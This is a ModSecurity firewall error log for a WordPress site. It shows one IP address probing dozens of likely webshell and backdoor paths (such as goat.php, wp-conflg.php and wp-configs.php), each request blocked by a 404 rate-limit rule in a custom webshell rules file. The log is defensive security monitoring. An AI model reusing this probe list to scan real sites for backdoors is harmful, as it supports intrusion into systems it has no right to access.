[Sun Jan 18 18:51:03.360493 2026] [:error] [pid 37885:tid 37889] [client 20.2.112.127:4080] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWy7F4IjOL7XA82H72Vz5QAAAUE"]
[Sun Jan 18 18:51:03.594725 2026] [:error] [pid 12923:tid 12950] [client 20.2.112.127:4060] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWy7F-sWURrrC-4Rx5J5jQAAABI"]
[Sun Jan 18 18:51:03.829678 2026] [:error] [pid 33494:tid 33501] [client 20.2.112.127:10444] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aWy7F7xmLR_50TtKxDIKWwAAAQM"]
[Sun Jan 18 18:51:04.065606 2026] [:error] [pid 33494:tid 33510] [client 20.2.112.127:10486] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aWy7GLxmLR_50TtKxDIKXAAAAQw"]
[Sun Jan 18 18:51:04.305982 2026] [:error] [pid 12925:tid 13010] [client 20.2.112.127:4067] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aWy7GPsBL-4pnmSbzihG-QAAAJY"]
[Sun Jan 18 18:51:04.538800 2026] [:error] [pid 12924:tid 12966] [client 20.2.112.127:10474] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aWy7GCuv3PUo9LR6V6YkZQAAAEY"]
[Sun Jan 18 18:51:04.772000 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:4033] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat.php"] [unique_id "aWy7GIIjOL7XA82H72Vz6gAAAUQ"]
[Sun Jan 18 18:51:05.004624 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:10455] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWy7GYIjOL7XA82H72Vz6wAAAU0"]
[Sun Jan 18 18:51:05.238686 2026] [:error] [pid 12924:tid 12969] [client 20.2.112.127:10414] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWy7GSuv3PUo9LR6V6YkZgAAAEk"]
[Sun Jan 18 18:51:05.473336 2026] [:error] [pid 12924:tid 12970] [client 20.2.112.127:10393] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWy7GSuv3PUo9LR6V6YkZwAAAEo"]
[Sun Jan 18 18:51:05.734962 2026] [:error] [pid 13034:tid 13061] [client 20.2.112.127:10429] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aWy7GcRGpUu1E8cmbmiJoAAAANc"]
[Sun Jan 18 18:51:05.967531 2026] [:error] [pid 12924:tid 12974] [client 20.2.112.127:4036] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aWy7GSuv3PUo9LR6V6YkagAAAE4"]
[Sun Jan 18 18:51:06.210740 2026] [:error] [pid 33494:tid 33513] [client 20.2.112.127:4071] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aWy7GrxmLR_50TtKxDIKXgAAAQ8"]
[Sun Jan 18 18:51:06.444845 2026] [:error] [pid 12925:tid 13012] [client 20.2.112.127:10420] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aWy7GvsBL-4pnmSbzihG_AAAAJg"]
[Sun Jan 18 18:51:06.680108 2026] [:error] [pid 37885:tid 37912] [client 20.2.112.127:10388] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aWy7GoIjOL7XA82H72Vz7AAAAVg"]
[Sun Jan 18 18:51:06.914096 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:10472] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWy7GoIjOL7XA82H72Vz7QAAAU4"]
[Sun Jan 18 18:51:07.148865 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:4047] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWy7G7xmLR_50TtKxDIKYQAAAQ0"]
[Sun Jan 18 18:51:07.384246 2026] [:error] [pid 12925:tid 12988] [client 20.2.112.127:4023] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWy7G_sBL-4pnmSbzihG_QAAAIA"]
[Sun Jan 18 18:51:07.618070 2026] [:error] [pid 33494:tid 33512] [client 20.2.112.127:4037] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aWy7G7xmLR_50TtKxDIKYgAAAQ4"]
[Sun Jan 18 18:51:07.851320 2026] [:error] [pid 37885:tid 37891] [client 20.2.112.127:10403] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aWy7G4IjOL7XA82H72Vz7wAAAUM"]
[Sun Jan 18 18:51:08.085645 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:4085] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aWy7HLxmLR_50TtKxDIKZQAAARI"]
[Sun Jan 18 18:51:08.346747 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:10430] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aWy7HLxmLR_50TtKxDIKZgAAAQk"]
[Sun Jan 18 18:51:08.579233 2026] [:error] [pid 37885:tid 37911] [client 20.2.112.127:10407] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admins.php"] [unique_id "aWy7HIIjOL7XA82H72Vz8AAAAVc"]
[Sun Jan 18 18:51:08.813016 2026] [:error] [pid 13034:tid 13055] [client 20.2.112.127:4041] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aWy7HMRGpUu1E8cmbmiJpAAAANE"]
[Sun Jan 18 18:51:09.046889 2026] [:error] [pid 37885:tid 37904] [client 20.2.112.127:10447] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aWy7HYIjOL7XA82H72Vz8wAAAVA"]
[Sun Jan 18 18:51:09.285357 2026] [:error] [pid 33494:tid 33514] [client 20.2.112.127:10402] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aWy7HbxmLR_50TtKxDIKaQAAARA"]
[Sun Jan 18 18:51:09.518383 2026] [:error] [pid 37885:tid 37908] [client 20.2.112.127:10424] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-configs.php"] [unique_id "aWy7HYIjOL7XA82H72Vz9AAAAVQ"]
[Sun Jan 18 18:51:09.750995 2026] [:error] [pid 37885:tid 37897] [client 20.2.112.127:3990] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWy7HYIjOL7XA82H72Vz9QAAAUk"]
[Sun Jan 18 18:51:09.984763 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:4081] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWy7HYIjOL7XA82H72Vz_gAAAUQ"]
[Sun Jan 18 18:51:10.217114 2026] [:error] [pid 12924:tid 12961] [client 20.2.112.127:10422] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWy7Hiuv3PUo9LR6V6YkdwAAAEE"]
[Sun Jan 18 18:51:10.450213 2026] [:error] [pid 33494:tid 33498] [client 20.2.112.127:4045] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aWy7HrxmLR_50TtKxDIKcwAAAQA"]
[Sun Jan 18 18:51:10.682677 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:10411] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWy7HrxmLR_50TtKxDIKdAAAAQ0"]
[Sun Jan 18 18:51:10.915273 2026] [:error] [pid 13034:tid 13055] [client 20.2.112.127:10483] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWy7HsRGpUu1E8cmbmiJvAAAANE"]
[Sun Jan 18 18:51:11.149428 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:10475] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWy7H8RGpUu1E8cmbmiJvQAAANU"]
[Sun Jan 18 18:51:11.385859 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:10462] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aWy7H7xmLR_50TtKxDIKdgAAARI"]
[Sun Jan 18 18:51:11.618765 2026] [:error] [pid 37885:tid 37904] [client 20.2.112.127:10401] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aWy7H4IjOL7XA82H72V0CQAAAVA"]
[Sun Jan 18 18:51:11.859849 2026] [:error] [pid 12925:tid 12996] [client 20.2.112.127:10415] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aWy7H_sBL-4pnmSbzihG_wAAAIg"]
[Sun Jan 18 18:51:12.092856 2026] [:error] [pid 12923:tid 12937] [client 20.2.112.127:10452] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aWy7IOsWURrrC-4Rx5J5lgAAAAU"]
[Sun Jan 18 18:51:12.326009 2026] [:error] [pid 37885:tid 37909] [client 20.2.112.127:10409] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geck.php"] [unique_id "aWy7IIIjOL7XA82H72V0CwAAAVU"]
[Sun Jan 18 18:51:12.565912 2026] [:error] [pid 12923:tid 12946] [client 20.2.112.127:10404] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aWy7IOsWURrrC-4Rx5J5mQAAAA4"]
[Sun Jan 18 18:51:12.799435 2026] [:error] [pid 37885:tid 37906] [client 20.2.112.127:10369] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aWy7IIIjOL7XA82H72V0DQAAAVI"]
[Sun Jan 18 18:51:13.032723 2026] [:error] [pid 13034:tid 13043] [client 20.2.112.127:10482] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aWy7IcRGpUu1E8cmbmiJwwAAAMU"]
[Sun Jan 18 18:51:13.266436 2026] [:error] [pid 37885:tid 37912] [client 20.2.112.127:10494] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aWy7IYIjOL7XA82H72V0EAAAAVg"]
[Sun Jan 18 18:51:13.499655 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:10459] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aWy7IYIjOL7XA82H72V0EQAAAUI"]
[Sun Jan 18 18:51:13.735096 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:4034] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aWy7IYIjOL7XA82H72V0EgAAAU4"]
[Sun Jan 18 18:51:13.969040 2026] [:error] [pid 12923:tid 12934] [client 20.2.112.127:4089] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aWy7IesWURrrC-4Rx5J5nAAAAAI"]
[Sun Jan 18 18:51:14.203252 2026] [:error] [pid 12924:tid 12969] [client 20.2.112.127:4048] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aWy7Iiuv3PUo9LR6V6YkfQAAAEk"]
[Sun Jan 18 18:51:14.437498 2026] [:error] [pid 12924:tid 12971] [client 20.2.112.127:10456] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7Iiuv3PUo9LR6V6YkfwAAAEs"]
[Sun Jan 18 18:51:14.670109 2026] [:error] [pid 37885:tid 37900] [client 20.2.112.127:3969] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7IoIjOL7XA82H72V0GQAAAUw"]
[Sun Jan 18 18:51:14.903588 2026] [:error] [pid 37885:tid 37904] [client 20.2.112.127:10446] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7IoIjOL7XA82H72V0GgAAAVA"]
[Sun Jan 18 18:51:15.139615 2026] [:error] [pid 33494:tid 33499] [client 20.2.112.127:4046] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7I7xmLR_50TtKxDIKfwAAAQE"]
[Sun Jan 18 18:51:15.389092 2026] [:error] [pid 33494:tid 33508] [client 20.2.112.127:4059] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWy7I7xmLR_50TtKxDIKgAAAAQo"]
[Sun Jan 18 18:51:15.623762 2026] [:error] [pid 33494:tid 33501] [client 20.2.112.127:4079] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWy7I7xmLR_50TtKxDIKgQAAAQM"]
[Sun Jan 18 18:51:15.857474 2026] [:error] [pid 12925:tid 12993] [client 20.2.112.127:3979] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWy7I_sBL-4pnmSbzihHAAAAAIU"]
[Sun Jan 18 18:51:16.090524 2026] [:error] [pid 13034:tid 13041] [client 20.2.112.127:10412] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "aWy7JMRGpUu1E8cmbmiJywAAAMM"]
[Sun Jan 18 18:51:16.324657 2026] [:error] [pid 13034:tid 13047] [client 20.2.112.127:10398] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aWy7JMRGpUu1E8cmbmiJzQAAAMk"]
